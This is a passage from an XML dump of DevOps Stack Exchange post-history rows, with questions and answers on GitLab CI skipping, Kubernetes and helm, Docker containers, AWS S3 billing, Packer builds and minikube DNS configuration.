*******************************************************************************************&#xD;&#xA;localhost                  : ok=3    changed=1    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0   &#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="40979" PostHistoryTypeId="5" PostId="8222" RevisionGUID="a9c61924-1511-4bc7-9fb4-95b13c37b7ed" CreationDate="2021-02-06T05:59:35.310" UserId="-1" Comment="Updated GitLab documentation link" Text="Yes, there is:&#xD;&#xA;&#xD;&#xA;&gt; If your commit message contains `[ci skip]` or `[skip ci]`, using any capitalization, the commit will be created but the pipeline will be skipped.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Alternatively, one can pass the `ci.skip` [Git push option](https://git-scm.com/docs/git-push#Documentation/git-push.txt--oltoptiongt) if using Git 2.10 or newer:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     git push -o ci.skip&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;From: [GitLab CI YAML documentation](https://docs.gitlab.com/ee/ci/yaml/#skip-pipeline) - &quot;Skip Pipeline&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40980" PostHistoryTypeId="24" PostId="8222" RevisionGUID="a9c61924-1511-4bc7-9fb4-95b13c37b7ed" CreationDate="2021-02-06T05:59:35.310" Comment="Proposed by 93.238.100.3|0464d6ae-c94c-4cbd-9132-805c3d3c449e approved by 40 edit id of 1338" ContentLicense="CC BY-SA 4.0" />
  <row Id="40981" PostHistoryTypeId="2" PostId="13310" RevisionGUID="ac316340-9b4c-49bb-a3f5-e95f2cff07e8" CreationDate="2021-02-06T06:50:46.170" UserId="10769" Text="[In kubeadm docs][1]&#xA;&#xA;&gt; --cri-socket stringPath to the CRI socket to connect. If empty kubeadm will try to auto-detect this value; use this option only if you have more than one CRI installed or if you have non-standard CRI socket.&#xA;&#xA;  [1]: https://kubernetes.io/docs/reference/setup-tools/kubeadm/kubeadm-config/#cmd-config-images-pull" ContentLicense="CC BY-SA 4.0" />
  <row Id="40982" PostHistoryTypeId="2" PostId="13311" RevisionGUID="35d7242b-89d4-4c33-86d7-c55d45354066" CreationDate="2021-02-06T06:55:08.917" UserId="10769" Text="This is likely because your requests were dropped before they landed on the GitLab host. Check your firewalls and other security rules after assured that the 1234 port is open" ContentLicense="CC BY-SA 4.0" />
  <row Id="40983" PostHistoryTypeId="2" PostId="13312" RevisionGUID="5ee6e6eb-53fa-4fb9-9827-a97a3f93effe" CreationDate="2021-02-06T10:15:29.120" UserId="6162" Text="## Is the app stateless&#xD;&#xA;&#xD;&#xA;&gt;The software is stable as such but my concern is pods, by nature, are meant to be replaceable&#xD;&#xA;&#xD;&#xA;This is your primary concern. Is the app _stateless_ (e.g. can the requests be served by any of multiple instances without problem?). If **not** - be very careful to run it on Kubernetes (e.g. don't use rolling-deployment) and don't run the app in the cloud :) &#xD;&#xA;&#xD;&#xA;Apps running on Kubernetes or cloud should follow [The Twelve Factor principles][1]&#xD;&#xA;&#xD;&#xA;## Number of Servers&#xD;&#xA;&#xD;&#xA;It would be good to be able to use two or more servers. This reduce the Single-Point-Of-Failure, and you can e.g. take down one server for maintenance but still serve your users.&#xD;&#xA;&#xD;&#xA;## App directly on Server or in Container&#xD;&#xA;&#xD;&#xA;&gt;pods (on the same server) or 1 standalone application?&#xD;&#xA;&#xD;&#xA;An application runs as a _process_ on the Operating System, whether you run it on a container or as non-container process. There is almost no runtime overhead, what you get with containers is _repeatability_ and _maintainability_.&#xD;&#xA;&#xD;&#xA;A container is designed to be _hermetically sealed_, so it is not sensitive to your servers configuration e.g. what language-settings or character encoding. This was a bigger problem before containers was used. With containers the app runs in an identical environment every time, except the _kernel_. In addition it is easier to maintain and manage processes when run as containers, you can e.g. set limits for CPU usage, Memory limit and they get its own network e.g. multiple containers on the same server can listen to port 8080 (from the applications standpoint).&#xD;&#xA;&#xD;&#xA;If your apps run as containers on a server cluster, you can also easyli scale out or in by adding or removing servers.&#xD;&#xA;&#xD;&#xA;## Control of resources&#xD;&#xA;&#xD;&#xA;&gt;My guess is that once 1 pod gets into to much trouble (memory pressure to name a thing) Kubernetes is going to restart it, as pods are meant to be replaceable.&#xD;&#xA;&#xD;&#xA;Yeah, but this is a good thing. Kubernetes is mostly _self-healing_. If you don't have such &quot;control-loops&quot;, you will need manual internvention - since it is the same app that e.g. may have memory leaks.&#xD;&#xA;&#xD;&#xA;## Run app on Kubernetes or not&#xD;&#xA;&#xD;&#xA;&gt;whether we do or don't use Kubernetes doesn't depend on this part of the implementation alone&#xD;&#xA;&#xD;&#xA;The first thing to check: **Is the app stateless?**&#xD;&#xA;and also, you should use **two or more servers** otherwise you get little advantage of running it in Kubernetes.&#xD;&#xA;&#xD;&#xA;There is a cost to maintain Kubernetes. You need skills and you need to maintain an addition system. Make sure it adds enough value for you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://12factor.net/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40984" PostHistoryTypeId="2" PostId="13313" RevisionGUID="12f88724-8484-4ad4-b27a-a5ff00c31be2" CreationDate="2021-02-06T12:36:51.063" UserId="24364" Text="I am an owner of organizer in on my aws account. When I enter S3 I see one folder, which is empty. But its being billed 8$ per month, so smth should be there.&#xD;&#xA;&#xD;&#xA;Is it possible that one account, of my organization uploaded there some stuff and I dont see it ?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40985" PostHistoryTypeId="1" PostId="13313" RevisionGUID="12f88724-8484-4ad4-b27a-a5ff00c31be2" CreationDate="2021-02-06T12:36:51.063" UserId="24364" Text="AWS S3, as an organizer see empty bucket" ContentLicense="CC BY-SA 4.0" />
  <row Id="40986" PostHistoryTypeId="3" PostId="13313" RevisionGUID="12f88724-8484-4ad4-b27a-a5ff00c31be2" CreationDate="2021-02-06T12:36:51.063" UserId="24364" Text="&lt;amazon-s3&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40990" PostHistoryTypeId="2" PostId="13315" RevisionGUID="b71d229a-01ce-428b-a9ba-1b53e0905344" CreationDate="2021-02-06T13:57:20.017" UserId="3525" Text="Does the bucket have versioning enabled? You should be able to see it in the bucket properties: Versioning: enabled. If so, when you are looking at the empty folder, at the top there is a switch &quot;show versions&quot;, switch it on. Do you see some objects with hashes? &#xD;&#xA;Try to delete them. Be careful, there are versions and &quot;delete markers&quot;, you have to delete both in order to completely empty the bucket. &#xD;&#xA;&#xD;&#xA;Another option: you are billed for requests and data transfers https://aws.amazon.com/s3/pricing/?nc=sn&amp;loc=4&#xD;&#xA;If something is checking the bucket rapidly, it can generate some costs. &#xD;&#xA;&#xD;&#xA;But most often the delete versions is the reason. " ContentLicense="CC BY-SA 4.0" />
  <row Id="40991" PostHistoryTypeId="2" PostId="13316" RevisionGUID="0bd957a3-f197-427d-8a49-7a797e32afdc" CreationDate="2021-02-06T14:02:34.447" UserId="3525" Text="Check netstat -tlpn on the VPS, can you see 0.0.0.0:3306 or something like that? If so, check the firewall. Both the firewall in the operating system and the firewall from the VPS provider (if there is any). As a last resort (and not a bad idea) - you can connect to your VPS via VPN - there are good openvpn tutorials on the internet. The reason why the VPN is a good idea - especially for a development server is that you may need to allow the user from everywhere (if you do not have a static IP address) and if you accidentally create some 'testuser' with 'testpassword' anybody from the internet will be able to connect to your db. So use good passwords, limit access to your public IP and use VPN if possible. " ContentLicense="CC BY-SA 4.0" />
  <row Id="40992" PostHistoryTypeId="50" PostId="11674" RevisionGUID="f225c530-d07d-480b-bf46-0219fd2bb122" CreationDate="2021-02-06T14:03:55.300" UserId="-1" />
  <row Id="41000" PostHistoryTypeId="5" PostId="13288" RevisionGUID="77302a6d-cd0c-4e27-8816-754da99d874e" CreationDate="2021-02-06T16:24:03.857" UserId="19056" Comment="Added a reference to the SonarCube - SonarScanner setup" Text="Please refer to the [following article][1] on the SonarCube - SonarScanner setup best practices. It will be god if the following [hardware recommendations ][2] are considered for the SonarCube installations. Following are some of the important considerations. &#xD;&#xA;&#xD;&#xA; - SonarQube server should be on a real DB, not on H2&#xD;&#xA; - The analysis should occur very close to the SonarQube DB&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://medium.com/swlh/sonarqube-sonarscanner-setup-1a633b654828&#xD;&#xA;  [2]: https://docs.sonarqube.org/latest/requirements/hardware-recommendations/" ContentLicense="CC BY-SA 4.0" />
  <row Id="41002" PostHistoryTypeId="2" PostId="13320" RevisionGUID="27b46e25-ef69-4f3a-9df2-b31430804bec" CreationDate="2021-02-06T16:40:27.890" UserId="19056" Text="Redis Cluster could be considered as an OOTB solution for the Scalability requirements. There is another interesting open source library known as Redis Shard for sharding implementations on Redis. Please find the [GitHub repository here][1]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/zhihu/redis-shard" ContentLicense="CC BY-SA 4.0" />
  <row Id="41003" PostHistoryTypeId="6" PostId="9078" RevisionGUID="e768c5a9-0d19-4124-8d1e-c82de20d3ccf" CreationDate="2021-02-06T17:32:44.477" UserId="19056" Comment="Added relevant tag" Text="&lt;redis&gt;&lt;scalability&gt;&lt;cache&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41004" PostHistoryTypeId="24" PostId="9078" RevisionGUID="e768c5a9-0d19-4124-8d1e-c82de20d3ccf" CreationDate="2021-02-06T17:32:44.477" Comment="Proposed by 19056 approved by 40 edit id of 1339" ContentLicense="CC BY-SA 4.0" />
  <row Id="41008" PostHistoryTypeId="2" PostId="13321" RevisionGUID="613f7e51-ee6b-4ee8-818a-010e87bda391" CreationDate="2021-02-06T18:42:17.413" UserId="24678" Text="I'm new to Kubernetes, and hence helm, so I've been reading a lot, and teaching myself by setting up a cluster, services, deployments, and pods. In my case I use AWS EKS.&#xD;&#xA;&#xD;&#xA;I now at least understand each piece from a technical point of view. But now I want to put it all together in managing an &quot;environment.&quot; I believe this is the idea behind GitOps.&#xD;&#xA;&#xD;&#xA;Say I'm a QA person and am testing a &quot;staging&quot; environment. This environment comprises a number of microservices with their own respective versions. So logically I can represent it this way&#xD;&#xA;&#xD;&#xA;    /staging-2021-03-06-4 # 4th build of staging environment on 2/06/2021&#xD;&#xA;    - microservice1:1.1.0&#xD;&#xA;    - microservice2:1.2.0&#xD;&#xA;    - microservice3:1.3.0&#xD;&#xA;&#xD;&#xA;When we build the next staging, e.g, `staging-2021-03-06-5`, anyone of those microservices versions can change.&#xD;&#xA;&#xD;&#xA;But now I, the QA guy, find an issue with above `staging-2021-03-06-4` build, and I ask a developer to look at it. I want to be able to just tell the developer to &quot;check out&quot; the `staging-2021-03-06-4` environment so he/she can have **exactly** the environment that I have to reproduce the issue.&#xD;&#xA;&#xD;&#xA;I'm thinking I can set up this idea of &quot;environment&quot; with `helm`, since the &quot;environment&quot; is nothing but a package of packages? Is this the correct utility of `helm`? If so, do I just set up a `staging-2021-03-06-4` helm chart that has dependencies of other charts, and those other charts are for each microservice?&#xD;&#xA;&#xD;&#xA;I'm also reading [How to manage 10+ team environments with Helm and Kubernetes?][1] since it applies to me also, but that describes a different (additional) problem I'm trying to solve with `helm`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/6641/how-to-manage-10-team-environments-with-helm-and-kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="41009" PostHistoryTypeId="1" PostId="13321" RevisionGUID="613f7e51-ee6b-4ee8-818a-010e87bda391" CreationDate="2021-02-06T18:42:17.413" UserId="24678" Text="Using helm to manage an &quot;environment?&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41010" PostHistoryTypeId="3" PostId="13321" RevisionGUID="613f7e51-ee6b-4ee8-818a-010e87bda391" CreationDate="2021-02-06T18:42:17.413" UserId="24678" Text="&lt;kubernetes&gt;&lt;helm&gt;&lt;kubernetes-helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41011" PostHistoryTypeId="2" PostId="13322" RevisionGUID="adcc2b66-385a-4b03-be00-ca1982dffe91" CreationDate="2021-02-06T19:38:59.417" UserId="25974" Text="Utilizing the [HCL2] syntax is definitely the correct approach here. You can use the different building [blocks] to define different source blocks and then assign sources to the builders and even conditionally execute the provisioners and [post processors] on specific sources using [only/except].&#xD;&#xA;&#xD;&#xA;Using this approach you can easily accomplish what you are looking for. Here is a rough example adapted from the hashicorp documentation with multiple sources and ansible:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;source &quot;amazon-ebs&quot; &quot;first-example&quot; {&#xD;&#xA;    ...&#xD;&#xA;}&#xD;&#xA;source &quot;amazon-ebs&quot; &quot;second-example&quot; {&#xD;&#xA;    ...&#xD;&#xA;}&#xD;&#xA;build {&#xD;&#xA;  name = &quot;my_build&quot;&#xD;&#xA;  sources [&#xD;&#xA;    &quot;source.amazon-ebs.first-example&quot;,&quot;source.amazon-ebs.second-example&quot;&#xD;&#xA;  ]&#xD;&#xA;&#xD;&#xA;# I run on both sources &#xD;&#xA;provisioner &quot;ansible&quot; {&#xD;&#xA;        playbook_file = &quot;common.yml&quot;&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;# Only runs on first example&#xD;&#xA;provisioner &quot;ansible&quot; {&#xD;&#xA;    only = [&quot;source.amazon-ebs.first-example&quot;]&#xD;&#xA;    playbook_file = &quot;playbook-a.yml&quot;&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;# Never runs on second example&#xD;&#xA;provisioner &quot;ansible&quot; {&#xD;&#xA;    except = [&quot;source.amazon-ebs.second-example&quot;]&#xD;&#xA;    playbook_file = &quot;playbook-b.yml&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;Depending on your source blocks and the builder being used, this opens up the ability to template multi-cloud, arch, distribution and purposed images from the same packer build command.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[post processors]: https://www.packer.io/docs/from-1.5/blocks/build/post-processors&#xD;&#xA;[blocks]: https://www.packer.io/docs/from-1.5/blocks&#xD;&#xA;[only/except]: https://www.packer.io/docs/from-1.5/onlyexcept&#xD;&#xA;[HCL2]: https://www.packer.io/docs/from-1.5" ContentLicense="CC BY-SA 4.0" />
  <row Id="41012" PostHistoryTypeId="5" PostId="13321" RevisionGUID="7d6fe0c3-500a-473e-bf85-6ba2823aa3c6" CreationDate="2021-02-06T19:54:02.260" UserId="24678" Comment="added 78 characters in body" Text="I'm new to Kubernetes, and hence helm, so I've been reading a lot, and teaching myself by setting up a cluster, services, deployments, and pods. In my case I use AWS EKS.&#xD;&#xA;&#xD;&#xA;I now at least understand each piece from a technical point of view. But now I want to put it all together in managing an &quot;environment.&quot; I believe this is the idea behind GitOps.&#xD;&#xA;&#xD;&#xA;Say I'm a QA person and am testing a &quot;staging&quot; environment. This environment comprises a number of microservices with their own respective versions. So logically I can represent it this way&#xD;&#xA;&#xD;&#xA;    /staging-2021-03-06-4 # 4th build of staging environment on 2/06/2021&#xD;&#xA;    - microservice1:1.1.0&#xD;&#xA;    - microservice2:1.2.0&#xD;&#xA;    - microservice3:1.3.0&#xD;&#xA;&#xD;&#xA;When we build the next staging, e.g, `staging-2021-03-06-5`, anyone of those microservices versions can change.&#xD;&#xA;&#xD;&#xA;But now I, the QA guy, find an issue with above `staging-2021-03-06-4` build, and I ask a developer to look at it. I want to be able to just tell the developer to &quot;check out&quot; the `staging-2021-03-06-4` environment so he/she can have **exactly** the environment that I have to reproduce the issue.&#xD;&#xA;&#xD;&#xA;I'm thinking I can set up this idea of &quot;environment&quot; with `helm`, since the &quot;environment&quot; is nothing but a package of packages? Is this the correct utility of `helm`? If so, do I just set up a `staging-2021-03-06-4` helm chart that has dependencies of other charts, and those other charts are for each microservice?&#xD;&#xA;&#xD;&#xA;I'm also reading [How to manage 10+ team environments with Helm and Kubernetes?][1] since it applies to me also, but that describes a different (additional) problem I'm trying to solve with `helm`.&#xD;&#xA;&#xD;&#xA;**Update**: I think I'm essentially wanting GitOps, so I'll read up on that.&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/6641/how-to-manage-10-team-environments-with-helm-and-kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="41013" PostHistoryTypeId="2" PostId="13323" RevisionGUID="676f1774-d233-46b3-8da1-1a0d89f8bcb3" CreationDate="2021-02-06T22:38:03.393" UserId="25974" Text="It looks like you are configuring two services, mysql and mysql-nodeport to use the same port. Without information to indicate otherwise im assuming this is a 1 node setup with rasbian. I personally dont have raspbian installed to test, but try something like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: Service&#xD;&#xA;metadata:&#xD;&#xA;  name: mysql&#xD;&#xA;  labels:&#xD;&#xA;    app: mysql&#xD;&#xA;spec:&#xD;&#xA;  type: NodePort&#xD;&#xA;  selector:&#xD;&#xA;    app: mysql&#xD;&#xA;  ports:&#xD;&#xA;  - port: 3306&#xD;&#xA;    name: mysql&#xD;&#xA;    targetPort: 3306&#xD;&#xA;    nodePort: 30036&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Per the kubernetes [service] documentation:&#xD;&#xA;_NodePort: Exposes the Service on each Node's IP at a static port (the NodePort). A ClusterIP Service, to which the NodePort Service routes, is automatically created. You'll be able to contact the NodePort Service, from outside the cluster, by requesting &lt;NodeIP&gt;:&lt;NodePort&gt;_&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you want your service available on the node port, try updating your service and deleting the other service definition.&#xD;&#xA;&#xD;&#xA;[service]:https://kubernetes.io/docs/concepts/services-networking/service/" ContentLicense="CC BY-SA 4.0" />
  <row Id="41014" PostHistoryTypeId="2" PostId="13324" RevisionGUID="3f342451-aaa0-4a0d-9cef-1941ce35ec9e" CreationDate="2021-02-07T12:21:06.017" UserId="5868" Text="If you don't want/need platform-specific integrations and transforming your services to a cloud I guess [GCP Compute Engine](https://cloud.google.com/compute) is for you -- it's like a usual virtual machine that you can start, SSH to it and have all privileges to install and run software the same way you did it on your dev machine." ContentLicense="CC BY-SA 4.0" />
  <row Id="41015" PostHistoryTypeId="2" PostId="13325" RevisionGUID="8842620f-8c33-4457-8cd7-ef1eb19f5687" CreationDate="2021-02-07T17:30:20.837" UserId="25984" Text="I have a Node.js app running in Elastic Beanstalk and logging using `console.log`, `console.error` etc...then I have CloudWatch logs turned on. When I go to the Insights and do a query it shows up but somehow it is logging line by line instead of the entire error.&#xD;&#xA;&#xD;&#xA;In the example screenshot I want the entire log from a single `console.log` to go to a single log record...so one to one, instead of splitting by new lines...is there a way to do this without removing all line breaks during `console.log`? Say a configuration option or something?&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/4NpkK.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="41016" PostHistoryTypeId="1" PostId="13325" RevisionGUID="8842620f-8c33-4457-8cd7-ef1eb19f5687" CreationDate="2021-02-07T17:30:20.837" UserId="25984" Text="Elastic Beanstalk Log Line Breaks" ContentLicense="CC BY-SA 4.0" />
  <row Id="41017" PostHistoryTypeId="3" PostId="13325" RevisionGUID="8842620f-8c33-4457-8cd7-ef1eb19f5687" CreationDate="2021-02-07T17:30:20.837" UserId="25984" Text="&lt;amazon-web-services&gt;&lt;amazon-cloudwatch&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41018" PostHistoryTypeId="2" PostId="13326" RevisionGUID="7c3a1acb-aacc-4b9e-a6b8-5f094684367e" CreationDate="2021-02-07T20:20:40.553" UserId="25706" Text="My solution to this problem was two fold.&#xD;&#xA;&#xD;&#xA;**First**: As mentioned in the question, I was able to reduce the amount of concurrent Gitlab Instance runners to one, to avoid the usage of too many resource which was causing the shared runner freeze. To do this i moved all my integration tests into a single job. This didn't increase the time of the tests significantly because the largest time cost was the Gitlab instance setup.&#xD;&#xA;&#xD;&#xA;**Second**: I utilized the retry functionality of the docker image, to respin the CI job if there was an error. I set the retry property to 2, that way it would catch erroneous instance issues, but still fail if a consistent error occurred. &#xD;&#xA;&#xD;&#xA;This approach seems to be working well so far! Hopefully it holds out." ContentLicense="CC BY-SA 4.0" />
  <row Id="41019" PostHistoryTypeId="5" PostId="448" RevisionGUID="0135bedd-d872-4cb2-a54b-6df595fad57a" CreationDate="2021-02-08T06:31:45.923" UserId="7078" Comment="Minor corrections" Text="The recommendation comes from the goal and design of the [Operating-system-level virtualization](https://en.wikipedia.org/wiki/Operating-system-level_virtualization)&#xD;&#xA;&#xD;&#xA;Containers have been designed to isolate a process for others by giving it its own [userspace](https://en.wikipedia.org/wiki/User_space) and filesystem.&#xD;&#xA;&#xD;&#xA;This is the logical evolution of `chroot` which was providing an isolated filesystem, the next step was isolating processes from the others to avoid memory overwrites and allowing to use the same resource (I.e TCP port 8080 for example) from multiple processes without conflicts.  &#xD;&#xA;&#xD;&#xA;The main interest in a container it to package the needed library for the process without worrying about version conflicts.&#xD;&#xA;If you run multiples processes needing two versions of the same library in the same userspace and filesystem, you'd had to tweak at least LDPATH for each process so the proper library is found first, and some libraries can't be tweaked this way, because their path is hard coded in the executable at compilation time, see [this SO question](https://stackoverflow.com/questions/847179/multiple-glibc-libraries-on-a-single-host) for more details.  &#xD;&#xA;At the network level you'll have to configure each process to avoid using the same ports. &#xD;&#xA;&#xD;&#xA;Running multiple processes in the same container require some heavy tweaking and at the end of the day defeat the purpose of isolation, if you are ok to run multiples processes within the same userspace, sharing the same filesytem and network resources, then why not run them on the host itself?&#xD;&#xA;&#xD;&#xA;Here is the non exhaustive list of the heavy tweaking/pitfalls I can think of:&#xD;&#xA;&#xD;&#xA; - Handling the logs&#xD;&#xA;    &#xD;&#xA;    Either being with a mounted volume or interleaved on stdout this brings some management. If using a mounted volume your container should have its own &quot;place&quot; on host or two same containers will fight for the same resource. When interleaving on stdout to take advantage of `docker logs` it can become a nightmare for analysis if the sources can't be identified easily.&#xD;&#xA;&#xD;&#xA; - Beware of zombie processes&#xD;&#xA;&#xD;&#xA;    If one of your process in a container crashes, supervisord may not be able to clean up the children in a zombie state, and the host init will never inherit them. Once you exhausted the number of available pids (2^22 so roughly 4 millions) a bunch of things will fail.&#xD;&#xA;&#xD;&#xA; - Separation of concerns&#xD;&#xA;&#xD;&#xA;    If you run two separated things, like an apache server and logstash within the same container, that may ease the log handling, but you have to shutdown apache to update logstash. (In reality, you should use the logging driver of Docker)&#xD;&#xA;&#xD;&#xA;    Will it be a graceful stop waiting the current sessions to end or not ? If it's a graceful stop, it may take sometime and become long to roll the new version. If you do a kill, you'll impact users for a log shipper and that should be avoided IMHO.&#xD;&#xA;&#xD;&#xA;Finally when you have multiple processes you're reproducing an OS, and in this case using a hardware virtualization sounds more in line with this need." ContentLicense="CC BY-SA 4.0" />
  <row Id="41020" PostHistoryTypeId="24" PostId="448" RevisionGUID="0135bedd-d872-4cb2-a54b-6df595fad57a" CreationDate="2021-02-08T06:31:45.923" Comment="Proposed by 7078 approved by 13 edit id of 1341" ContentLicense="CC BY-SA 4.0" />
  <row Id="41021" PostHistoryTypeId="5" PostId="1897" RevisionGUID="0d715f2f-6ae0-4b1a-b501-16c6bdae0669" CreationDate="2021-02-08T06:47:21.160" UserId="7078" Comment="Small typos fixed" Text="Having slain a &quot;two processes&quot; container a few days ago, there are some pain points for me which caused me to use two container instead of a python script that started two processes:&#xD;&#xA;&#xD;&#xA;1. Docker is good at recognizing crashed containers. It can't do that when the main process looks fine, but some other process died a gruesome death. Sure, you can monitor your process manually, but why reimplement that?&#xD;&#xA;&#xD;&#xA;2. docker logs gets a lot less useful when multiple processes are spewing their logs to the console. Again, you can write the process name to the logs, but docker can do that, too.&#xD;&#xA;&#xD;&#xA;3. Testing and reasoning about a container gets a lot harder." ContentLicense="CC BY-SA 4.0" />
  <row Id="41022" PostHistoryTypeId="24" PostId="1897" RevisionGUID="0d715f2f-6ae0-4b1a-b501-16c6bdae0669" CreationDate="2021-02-08T06:47:21.160" Comment="Proposed by 7078 approved by 13, 4153 edit id of 1340" ContentLicense="CC BY-SA 4.0" />
  <row Id="41026" PostHistoryTypeId="2" PostId="13328" RevisionGUID="d32fbf84-a98d-41bd-801f-6afec80b7755" CreationDate="2021-02-08T14:44:44.167" UserId="25960" Text="If you want to avoid Kubernetes, then the simplest of the [GCP options for a docker container][1] is probably their Container-optimized VM images? &#xD;&#xA;&#xD;&#xA;That lets you put the parameters to your `docker run ...` command in the VM config as per https://cloud.google.com/compute/docs/containers/deploying-containers#gcloud&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This assumes you are able to publish your image to a repo that is accessible to your GCP compute VMs. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/compute/docs/containers" ContentLicense="CC BY-SA 4.0" />
  <row Id="41027" PostHistoryTypeId="2" PostId="13329" RevisionGUID="59a99550-d973-4fb2-9d30-76156ca9a860" CreationDate="2021-02-08T19:12:58.913" UserId="26008" Text="To piggy back off of @eduardo-baitello answer, A third option is to increase the `CPUThrottlingPercent` config [here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes-monitoring/kubernetes-mixin/blob/f7ca48cca5d9cadc9a2203b8c0b3bb3eb85f3294/config.libsonnet#L44" ContentLicense="CC BY-SA 4.0" />
  <row Id="41028" PostHistoryTypeId="2" PostId="13330" RevisionGUID="c8fd48d9-81b4-43c9-b74c-9710e24faf98" CreationDate="2021-02-08T19:17:06.750" UserId="26006" Text="I have the next ingress (output of &quot;kubectl get ingress&quot;)&#xD;&#xA;&#xD;&#xA;    NAME   HOSTS   ADDRESS          PORTS   AGE&#xD;&#xA;    main   *       192.168.39.190   80      46m&#xD;&#xA;&#xD;&#xA;But when I try to visit that IP address in chrome I get&#xD;&#xA;&#xD;&#xA;    Cannot access the website. Check if there's a write error in name.local&#xD;&#xA;    DNS_PROBE_FINISHED_NXDOMAIN&#xD;&#xA;&#xD;&#xA;Any idea why? Everything is green on the dashboard, there are errors." ContentLicense="CC BY-SA 4.0" />
  <row Id="41029" PostHistoryTypeId="1" PostId="13330" RevisionGUID="c8fd48d9-81b4-43c9-b74c-9710e24faf98" CreationDate="2021-02-08T19:17:06.750" UserId="26006" Text="(minikube) Ingress ip returns HTTP error DNS_PROBE_FINISHED_NXDOMAIN" ContentLicense="CC BY-SA 4.0" />
  <row Id="41030" PostHistoryTypeId="3" PostId="13330" RevisionGUID="c8fd48d9-81b4-43c9-b74c-9710e24faf98" CreationDate="2021-02-08T19:17:06.750" UserId="26006" Text="&lt;kubernetes&gt;&lt;ingress&gt;&lt;http&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41031" PostHistoryTypeId="2" PostId="13331" RevisionGUID="7745b99e-3847-4913-a4e9-4cf75f1b1802" CreationDate="2021-02-08T20:49:54.167" UserId="26006" Text="# SOLUTION&#xD;&#xA;&#xD;&#xA;Edit this file&#xD;&#xA;    &#xD;&#xA;    sudo nano /etc/NetworkManager/NetworkManager.conf&#xD;&#xA;&#xD;&#xA;Make it look like this&#xD;&#xA;&#xD;&#xA;    [main]&#xD;&#xA;    dns=dnsmasq&#xD;&#xA;&#xD;&#xA;And restart your network service&#xD;&#xA;&#xD;&#xA;    sudo systemctl restart NetworkManager&#xD;&#xA;&#xD;&#xA;Re-Create your minikube and now you can access its entry poins using the IP returned by:&#xD;&#xA;&#xD;&#xA;    minikube ip&#xD;&#xA;&#xD;&#xA;**Note**: I tried it using ingress, but should work with NodePort too.&#xD;&#xA;&#xD;&#xA;**Source (The guy was trying to do something a bit more advanced)**: https://blog.heptio.com/configuring-your-linux-host-to-resolve-a-local-kubernetes-clusters-service-urls-a8c7bdb212a7" ContentLicense="CC BY-SA 4.0" />
  <row Id="41033" PostHistoryTypeId="5" PostId="13331" RevisionGUID="058a8d7a-4b85-4153-94f8-d97049ad1c01" CreationDate="2021-02-08T21:40:14.787" UserId="26006" Comment="added 322 characters in body" Text="# SOLUTION&#xD;&#xA;&#xD;&#xA;Edit this file&#xD;&#xA;    &#xD;&#xA;    sudo nano /etc/NetworkManager/NetworkManager.conf&#xD;&#xA;&#xD;&#xA;Make it look like this&#xD;&#xA;&#xD;&#xA;    [main]&#xD;&#xA;    dns=dnsmasq&#xD;&#xA;&#xD;&#xA;Also create the file&#xD;&#xA;&#xD;&#xA;    sudo nano /etc/NetworkManager/dnsmasq.d/kube.conf&#xD;&#xA;&#xD;&#xA;Make it look like&#xD;&#xA;&#xD;&#xA;    # IMPORTANT: The ip must be the one from the output of the command:&#xD;&#xA;    # &quot;kubectl get pod -o wide --all-namespaces | grep coredns&quot;&#xD;&#xA;    # With this, any local host can be managed by kubernetes coreDNS.&#xD;&#xA;    server=/*/add.the.ip.here&#xD;&#xA;&#xD;&#xA;And restart your network service&#xD;&#xA;&#xD;&#xA;    sudo systemctl restart NetworkManager&#xD;&#xA;&#xD;&#xA;Re-Create your minikube and now you can access its entry poins using the IP returned by:&#xD;&#xA;&#xD;&#xA;    minikube ip&#xD;&#xA;&#xD;&#xA;**Note**: I tried it using ingress, but should work with NodePort too.&#xD;&#xA;&#xD;&#xA;**Source (The guy was trying to do something a bit more advanced)**: https://blog.heptio.com/configuring-your-linux-host-to-resolve-a-local-kubernetes-clusters-service-urls-a8c7bdb212a7" ContentLicense="CC BY-SA 4.0" />
